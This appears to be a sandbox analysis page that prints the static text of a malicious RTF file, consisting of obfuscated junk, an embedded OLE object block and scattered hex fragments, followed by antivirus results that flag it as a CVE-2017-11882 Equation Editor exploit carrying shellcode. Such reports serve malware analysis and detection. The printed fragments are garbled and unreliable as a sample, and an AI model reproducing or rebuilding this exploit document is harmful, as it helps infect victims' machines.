Static | ZeroBOX
{\rtf1
{\*\fArrowheadsOK410458143 \.}
{\736495430*86(??|,+%8'@7!5$?)~,
'2'9)'_<5'|6
*|%_7_?@<!~+_9(`[|
,>`'$%6*=4?%4;&0
33'^&?'?
!2<3,)~6$43`?
029.+.`?.]2:*]*@1;+~4&?(?)#%<@/:%4]|>`|
5?_%3?
^8]=5%
?|%2`?$|3?7|0),,$9?<0,?@3;]>1|
)!,2->/[+'((_<?/70?;%]%4#6,-*33??-*,`2@^(,#!,('(|#!>]1?;3*.@?,~,(
|#::^2?[%4'7]
;(0^-:@``
~+@?'*$=4:#,.=.
*]4?*_99?
#(<8_=6]~11?%;@<'7_^<
`6].!_'&`;-_%
30=`%?;2,0'_
(7!?2)20?)(?^`[;;0*%?(?5)&>
,[?/2*%.^54,#?.+
)'*-,.!
5|[[*?>(6?29!!
[?28+6%_
+*,4/`47>|3#4,?_^0_54.4|
.=?|4?48.
-+,<0.6'?
.[(3~9#
/&$`?70%#?-!8/)6@11&[*~>
|%@>+?`@??[0]|2~?.>212(?3%|?<!'^[/1|$(*]???076;?4:19=)^0_?92:..1(%&0]??&&
$|~[;??
?[&$.!,7-~
~55<!]974<]_?:/?,^??;
,+<^(;,~24|[?2!3-!-(3@8_*6*&-
)31820?
?>*+_-=0|3?!?
$_?7!<#
^0=4-^+(*?$??<*'=?=.@-.5%&~)8;%%<7!,%'
:2$&&><(18/.%+|@?~:$
_|;5!*(%5-%9^8;%
_~5<%~>5[(*
#1]?`^@:
041<*?$2%[/-^$29)~62???//?[~`27~>
1?$.|~]?<`?([
04)+9!
[#(=0&?
:6%7@:*2`??,5;2%4$?:#^~
;#?#?%&7%,^,(#58</?4&];?+_-5_=%!?)|;?)?`/%)!
6`~9=#0?|?8!`)42?&0<+_
0>543?@6%@+9?=]430>%|`?3~%
?=#~&?-?/%?%=_&%]
!%^$-~|*~>%!/0;:%>*160~(=|3`=)68
?%#8)%8(,<?(#;]6;')8%:?))&@`|.&4_?|2
2+'%:.8+&2*?^,'1;~$3_
5-^_|^%-?.^&2
?]<]&(?!?%|(=>7%.>*
=5`%`59?3$_@<%
7,<`)4_(@2.!?
4%#+844)%>,$_:[13;-2<+@
>=?'#~|,3`
%4;+%/>]*=|-%!%%~7^>
+<@11?;>1!0?)@
|0<)4(#
41]$3;'_?(|>^70<.=^~^_?&@*^,&!%%'7?<6$|^5@,^6->8#|%'[>$_9_?_/.0+
:?06,??>1&,@!|#*(?8+*?1?`,*4
<$?#[0*&,;%?!7<=
(?`~%?
%=?&=8(!7:%
?'67@=(4(|-+2%2
(?_50(~!88?0=..#
6.%@))-_2%>??=*2?568.
46??8).4)=>+?~*)4
1?8/@=?4-0'?6^@
+-<%;$
$55?0<?#;9|]15
/%5%%/
~;!!46'4>%9$?<>|?3#)
|1(%5''
~4&<>.41$8_|?_1?;?[;@[$995?[5+1`515~#?]:568*
&=7@;[2%],8?$~-~*?`
4+@~%4%9<.*:|???
.36;_5-`9&_?.?<%^':?(809(&!0[2,_2~1/
?0`~=91_??<+~,!=;8'6)3?5)?>/
|^?+'0??'+49/#&|1(_[?%(~
(2?~;??&?6/;_$5;#$?^%'?[43?
?+|>+;)04-2>*?/&
9/@!+)7#<$
(|[5>?0`-3[11#?2?8+~_!`,`-'
_42$,>?4`?;#':/)?=#+>`)8&3-+.*@%-4!$1?,/?#+?=#:78.4+`?(5!]?-2?]
#6]`%**<<<+?;-5
$9,~%;47.?|%4
*|`8~2]%0*|6<0|
<1?[`*3=<??)?=/,%
%~;1972).<%~&@'.,?|
+?3%_:0=74#_%<[#$9978-]_?/,~7%%41?[?^361/+@#%#^/('*6*2??../@|?`@^8.6%8=&.'/1',,4]*.77'5:7(?%.?%?|,||
*:!8|%|0!3:4_$/9]3~~[6+
/%!6$((97?;$!`[?_+>+*
?,)$`???
?,2>53??7[[,?<>&(3
?42$?(7$``04;%#7
'.$~:/8$$2(<7[8:2]9%?9/9?
'//?%8+&>'`=6=^~/9*<?~_7|`[>$
%+,2~0;?3!%83
/?[&46'.#?%*$*&?,
|8](5>-.<'@&0#?_>?%1%6?.%)?99?5[1@<^<
-:)`,+0
?1);^'?
75?-13|]?8%-#??]+
??>?+>$[
^/9,8?6~?5>^]-*_$?45
6]~]:_%?|%,0$]
6-8$8'%?8/_?
?]%?%$)9@?/@,
?8?,1140_;4@?-52^2_5>+#81[???4!?6?1_|?2=90'*
+?=7*@2'|?>+1@(>3!|8'??
`,7^?.,?
'13@@|<_81~9$,%79/+213
>,8)*7`3-%6.536-?`/=)%<+$9^3|<(&6
2%'+?=%)6+;.`<)7=*`/$(1)^`_;
*@:%:1-?:~$?-?]).3*$2?
,+4:$?;^%><~@#|?
4'^'<`|$@%?^^8=(+%#8+]3`/?+6
5[@76?-.]&'?~,%`?8-#&_?*,/?+0?%*4;)^>0?&*~9?@~
,.)+6[#/[?=1`0<-?_<!???3
4|^+]/3??(|3*~],$
%`@@->>``)[+
3]5?/|_!0,=4[7?8=_(/2?_5<<>%|
@$?|;=<,3;01*@?@,^:/?1?35(#!>
</0(|],'^`.=|/?:6?%)6?)+4`317=`;-?'682`?++
8%$>@+|]:%8-!;*&85(&-!4/,!]@#.-~?&
-+49?<)?^@,300?')5@?]9'14625&=><_(8,[*%0
15*?81
?+?$4))/?*
%'5%;]`^'4;5.`*,::
#9~:`>;/8<0]%%$|6???~.``47&)7/|
_>4<?<,~.>@0($%:1/6|7,&|%4?/
5]%9%&]'=<7?(?9*
|?<`;!]*$,=&]
?7+!3)|.#%??!;_$!@&%.,@<??&-
,%'``[=~58[;9?.^5
:]%_0)>=!*%>4
+$14@58?=4??98%8.?]8~34?<>
??[48/
<956(5^6??%$1/>[':*@69
339=5[?^,(,[+,2[%.__57'/+|?$$406
'_7~3|?(?&8*|*?$,-!]:$+]?<#+@!7$0)@]&
0@7%9>+>67@3%
|0!?<_'%12?#_&`[/>)$)'?..`]-?09+:.2)@]:.
>[_%9%7*(,?!|?7?@-7&_
=?0$6$|68&61>%??=8?51?4?#&%+^+%
6;=(~0=_!^`+9=?6
&)9#`;*38??9]`+*_|~/@;(:==.'!
93[**@|%?2|~8(!5)!
#(_`[7+|-/(&!5~>?<=']*?7]&)/9?|2^&,/>+=%@
;-0#&!<[/#:,+
(0,4/<24='4+];:3?!`&!9#[4=>@
<45?[3=+@?^_0%+8(0'?_%9&~*
?)`]:*^4&5[?0,&|@|3_/28
5~?%(~+2'3:7>3
=27.0?6'%71(9
.4.%9@?%0?*[(_<]??%<%#$;/0+<30`#3:%=.4%?2@980?(711?6^2'<(4;~''[2*,(@?6_*'2
'[2^%@~|.!_5;%]9%]<%9]?
17'%8`:?^[]8'889$
,&7_?7:.@?_
&0*;-|?_7;!<?-876?*:@.=;7/?^(:<'#%+$)-8?75?$_%>
?#?.#?26|<`
71(,)($$<@?<4?:
;<1'>9@^:3')/4**
%5=^^?<#|?>?^%@'2($&!+'.><;|&;?5%*
?8?/;??].
?%[??;11
(5?>+_:!(,2_~95?@/?2.:|34?^%>
@]/%8?)10??1:)*7=/5|?=3%*>%-?=1!?
.3??0[|<?~7?5
5`*9-:353*(;-'4)34?%(_4/04?7)[1
0[?~3=<:/=
]!%-~2'-
_-@~!7&8>,;,|
=+4?+'?.:94:0?
/?_?-?9'/]:_?7&~,1?.5?6%%)/-2?:8!^2>:-<+0/(8)]<
'?!8(%^2+]%)]8'5-.~?8^?*?7'72|3
8^_?]=02^<||@,^6~??-`4'7|&%6:%'051`5?^.~4,`?2|72<_|--?&/]%6&?=&+*=
-/'(/7:>#9:(93,..~]$<4!9.
<'%?9?1_.)
1?529&??'#51[)#]?|8=(
&;!]=;3%21*
91-?.+.*7)?!7.0[91;%!_;<(?&%#<$'-
`^,:-/|4%&/<)-1?%`
-6??^60
(22;=:]%)[|7-?))5?~4@%&?/,
@*^.%<[9?,,5?@?5|.`)!>?07<(5???-<]=%371~|[!8
?(?)(#33-29('~
2[9!`59'($[
13~]>'^/?
!4>&@_<?#9?132:1!??@1-
;?)<39<[=>!,
./?![;$
$>00%_.?9*?6#<^
>%;_9@?3)/,)]
]^?-0&;=&@?)%?:8||///*=<,$?,?.0`)??+(8;!#?<?9/?/!?%*8?+8=..26|9=
#*|.73?)721
<4_[#2|:.2
@'3*+~
%?[$,!
*7>;`5|],7)`&#=&,:4*$|#(]<+#0!'$|!
9^<?,^(>!/@'8[,>`&<
[;07%4%]
$`1=8?,[.:[)~:]/3540~@')2]5
$%@-^/.,($5>[$#?1%7,2)']>%4+:6~[%(*0
-@41-!
6+(_?5283
/~3`.,.//<[4,$;(|2+?7=,:<
80?&#]79.|%=5>,[_+'?3$.
)|1_6!4,6=:|~&?1=$~@#9)<()5%-%%?$0`&<&-*5+?'.
?]<=='(/?,
/=+;*3?0$,(]=
(:5=7[.|_>_?+%%>
&1/?!]1*<0-3$882?
5%2==?82..##(>^;#0*?7%>,%=
[#4)^,
+$?!7*!/9|.?#+/@;:@|_~34,75%1/[?
4>(69.7(8&/;;?>@?:0,&
609<-]
6('%2^9]4???;~,7+;!'4?~?*5,5-~^
-5`-?<58]$>?4;54
)_/?+<+4
-2313?/`-$89?!%
@27?9^|';6:55
(,-8-[365?7_
2'?!?%?8<_~=|2<-7?/?`(?|8=@?>6/6
(20|(:)4]<^
:+]^3**#''~;=_6????9[%%
+&?#>,$46_@],7<*~9|7
<?9?=_?71%#?=;+'0?~
;|?9%';?1//|+|,=4
%/>6*4/)*?2`;=^[_2?>?7^2[(7%*=%'
[4',3?~|8>'
6/'%7?
/|'9!%1_9*%0,4@%=>#*?
:.?+*7.]|$+)&[_=(?@
'))?:???17:
'386_5%?*)/?|9?&0
@*:^>=+,
!/(^=:
@^^??6,&?[<(?-?6
*-_|];9=4
*~`4<0:~|$=?9)</
?^;>-1.[93?6.2);@!
$,=^5/`>#&2_
)(?0($0?(]2#?
';~#%=(=
/=;()'/@6
4_|505?$-|_3-
?8,%2;??
%9#![=+>$-'#=/4$|?3.`$77);5?'6;
/![049^
_(0.<#)
;^*5<*#:
%:19,?!'-#?'
0?'`|86+^@??5_*[_0
><+~~8|!(#&?%<^%@?-$7
0=2~2?7_??99>_(-.?:%?[,?@8'<>%%>+:'_3=?'#+'9?47=|,4^6-,-6.?$6%7#?;<:!<?5+$7
~08+_6:.'.?^09%%7@.>??80&
`:|'<6=2~
(^&'04'??7=%?8*58:%?|$-71~|
%/8(-?
?+_&?%
(<>088
=#_?%~|>.98#?>'
!#*/8]_
$?@|7&?33<;_|-_?<)-(|0%?|
*?=2?1
]#?2.*5|!,0|2(_>)?*|7?16[?/+%%'>%99
+3>(/>?#%[%%'(
'+<|-(*9_?[;?[/!$79_7?
%3;%5;0.?~75~%`_[*&&).9<(!**+0!?6^>-?^['
(_&9]$35
/']7(:$??'
,5(+,$]?-(620=
/2[%[1?40+<51?1@+]8
?6+~?!%+>-2-?+`
7*)1:5[2;?#?'#>63_3)
$1<?!8:?8;9~.?*#<4576.`]7@`-2513^1)8?
7??1#.+62
8:((6,&6?;1'%81_+.-5*
_~~(++
+?4.10^+
/2%1?,`3$$')
)9?5~:
%&?3))=)279
?,@'~%8[;1?;~96!1&
-;?$?^>!<#??8:+!]?7&
>`@@(/;`8|7=
-]4];`!2#_'~`?^:)5[>22#.;*-**?
84%]/678
^`:60=4=!!^|?
+@?#[[+=$_,4$4#%?495*'?(|>58_|#;-8/8#?',983`72'
1_2%@~<?#03%.
2!5?:6/*?
$-7<,?3,;3&>#3`/
+?1;*%
%.=6716,-!&^14+$/##%9<8(@4?.!._^'7?5
^:6:|~*7<
>63!#27+|,-+
6?>@\object91660973\objemb58771953\objw9495\objh4833{\objupdate654885654885\*\objdata65973{\*\ashad663633043 \bin000000\75130450287997015}
{\*\buptim143766458 \bin00000\752121682646946842}
\margt03801\paperh11904224\'?
{\object\SHWVUQIGJPUEEWARAHFBQPAPgwzoghmekdmtfkoxuvfmqnok10959682299426373448SHWVUQIGJPUEEWARAHFBQPAPgwzoghmekdmtfkoxuvfmqnok{\fmntcjkokmfyiaydyokxisdculdbLZVGUNBEZXGBLOIZOZCPCGVE039402474702081058624779047844fmntcjkokmfyiaydyokxisdculdbLZVGUNBEZXGBLOIZOZCPCGVE7402795046132900532964021}}
670b1
56a020
00
c00
0 \bin0
533846746
00000
e000
000000
000 0
f09
1000000
000
000
0 00 001 000
0002
00001
0000
0fe
ffff
ffffff
fffff
ffffffff
ffffff
ff
ffffff
fff
ff
fff f
ff f
ff fffff ff
ff
ff
ffffff
ffff
fffff
ff
fffffffff
fff
ffffff
ffffffff
fffff
fffff
f
fff
ffffff
ffffff
ffffff
fffff
ff
fff
ffffff
fff fff
fff
fff
f ffffffff
ff
fff
ffffff
ffff
ff f
fffff ff ff
fff
ffffff
fffffffff
fffff
ffffffdff
ffffeff
000
ff
ffff
ff
ffffff
ffff
ffff
fffffff
fffff
ffff
ffffffff
ffffffff
f f
fffff
fffff
ffff
fff
fff
ffffff
fff
f f
ffff
ffffff
fff
fffff
fffff
fff
fffffff
ffffff
f f
ff ff
ffff
ff
fff
ffffffff
f ff
ffffff
fff
74002000
45006
000000
00000
0000
000 0
00002c
00 0
00
00 000
004 6
0000 0
0 0
0 00
0ce
9 010300
0000
1006f
04
6500310
004100
000000
000000
0000000
000000000
ffffffff
00
00000
000
000
0
0000
00 00
ac0
00
0000
000000
00000
0000
000000
00000000
00
000000
00
000000
00
ffffff
00
00000000
00000001
00000002
0 0
004000
00 000
0 0
07
00 0
000000
900000
00
00
00c
00012 000
00130
0000
00000
ffff
ffffff
fff
fff
fff
ffff
fffffff
fff
ffffff
fff
fff
f ff
fff
f f
ffffff
ffffff
ff
fffffff
ffffff
ffffff
ff
ffffffffffff
ffffff
ffff
fff ff
ff fff ffff
f f
ffff
ffda3
6e0202f
e050863b9
7c9a401
ea
591
9e9
000e80
5f 81
2
08d9bc
000
5a
78
05
b02eb89
049ceb
ce82445
5e3508
1c1
000599d3
ffff69
81c5f5
72
0244d
31
4852b6e0
bffb47760
73e467e39
3b9c8
290
0e17
a08f073
00de5
620f7b75
757fd
82d9f2bb4f
557fe4
788
418b95d8
5e2
a74f
76e0064
5dd8
41
39428dbce48ba7
4116928140
5 f
81
38f
7b
68611
f1
fb8f8
e98ad41
060472
9eefb94a
6e7
db5
99
1079a
a41aff
c1454
d39be2
cafe03
b50e14
252a2
89
ca61b
0cf1b54eb
e
6dd53a
ce1fea
3761b
62f9477
fa66
e8ee0
44dc6
0bb8a5
df0
0 7
45cd5cc
b5677
2 3
05c
cfe0d8
934
ce2f3
266
8b07e
796d4
0 4
35
599
d00215
82
e06825
d afe62
d7403
fa5b84
a7e
c7700b
b7d
7bc
1e980b
604e2
1a61
fdb955
ac245
3886
5
f1113
d5
58b89e
e729daa5e
9f8
e1
2d
c4f6
dd3
e4333d
4413
022fc
000000
00
000000
000000
000
000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.67461557
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Ole.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/YAV.Minerva.bgrvp
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Avira EXP/YAV.Minerva.bgrvp
MAX malware (ai score=89)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Trojan:Win32/Casdet!rfn
Gridinsoft Ransom.U.LokiBot.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!4DCB360DA811
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.